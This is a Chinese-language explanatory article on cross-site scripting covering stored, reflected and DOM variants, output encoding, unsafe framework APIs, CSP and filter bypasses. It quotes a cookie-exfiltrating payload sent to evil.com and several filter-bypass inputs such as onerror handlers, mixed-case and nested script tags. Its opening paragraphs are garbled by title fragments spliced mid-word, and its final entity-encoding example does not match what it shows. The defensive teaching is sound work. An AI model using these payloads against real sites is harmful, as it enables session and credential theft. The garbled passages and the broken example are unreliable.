xss跨站脚本攻击漏洞
去年某电商平台的站脚一次促销活动中,商品评论区突然冒出大量带链接的本攻“用户晒单”。点进去的击漏人会发现页面跳转到一个仿冒的登录页,要求重新输入账号密码。站脚事后排查,本攻问题出在评论内容没有对尖括号和引号做转义——攻击者提交了类似 <script>fetch('//evil.com?击漏c='+document.cookie)</script> 的 payload,浏览器把它当代码执行了。站脚这就是本攻XSS,跨站脚本攻击。击漏它不攻击服务器,站脚专打访问页面的本攻其他用户。
很多人以为XSS就是击漏弹个 alert 框,没什么大不了。站脚实际远不止如此。本攻攻击者能偷走 session cookie,击漏直接登录你的账户;能篡改页面内容,伪造转账表单;能监听键盘输入,拿到你的信用卡号。2018年某知名社交平台的一次XSS漏洞,攻击者只用了不到200个字符的payload,就批量劫持了数万个账户的会话。浏览器对同源策略的信任,被一行注入的脚本彻底撕开。
XSS分三类,区别在于恶意代码存哪儿、怎么触发。存储型最危险——payload存进数据库,每个访问该页面的用户都会中招。上面那个电商评论就是典型。反射型需要诱导点击,payload藏在URL参数里,服务器原样吐回页面。比如搜索框输入 <img src=x onerror=alert(1)>,如果搜索结果页直接输出“您搜索的是:<img...>”,脚本就跑了。DOM型更隐蔽,服务器没参与,前端JS从 location.hash 里取数据塞进 innerHTML,照样执行。
防御的核心就一条:永远不要信任用户输入。具体做法分场景。输出到HTML标签之间,用 < > & " ' 实体编码;输出到属性里,额外处理引号;输出到 <script> 块或事件处理器中,普通编码不够,得用JS转义或干脆避免动态拼接。有个常见误区:只过滤 <script> 标签。攻击者用 <img src=x onerror=...>、<svg onload=...>、甚至 <body onpageshow=...> 都能绕过。黑名单永远不全。
我见过一个后台系统,输入框过滤了 script 关键字,但没过滤大小写混写。攻击者提交 <ScRiPt>alert(1)</sCrIpT>,照样执行。另一个案例更离谱:开发者用 replace('<script>','') 做过滤,攻击者输入 <scr<script>ipt>,替换一次后剩下 <script>,完美绕过。这种“打补丁式”防御,修一个漏一个。
现代前端框架默认做了转义。React的JSX里 { userInput} 会自动编码,Vue的 { { }} 也是。但危险操作依然存在:React的 dangerouslySetInnerHTML、Vue的 v-html、Angular的 bypassSecurityTrustHtml。用了这些,就等于把安全责任揽回自己身上。后端模板引擎同理,Jinja2、Thymeleaf 默认转义,但 |safe 或 th:utext 一开,漏洞就来了。
还有个容易被忽略的点:Content-Security-Policy 能兜底。设置 script-src 'self' 后,即使页面被注入 <script src=//evil.com>,浏览器也会拒绝加载。但CSP不是万能,内联脚本需要 'unsafe-inline' 或 nonce,配置不当反而添乱。我建议把CSP当第二道防线,第一道永远是正确的输出编码。
最后说个真实细节。某次代码审计,我发现一个搜索功能用 innerHTML 渲染结果,但输入经过了一个“净化”函数。那个函数用正则删除了 on\w+= 模式。攻击者输入 <img src=x onerror=alert(1)>,HTML实体编码的等号绕过了正则,浏览器解析时又还原成等号,脚本执行。你看,连“净化”本身都可能是漏洞源。XSS的攻防,本质是解析器差异的博弈——你按字符串处理,浏览器按HTML解析,错位就产生攻击面。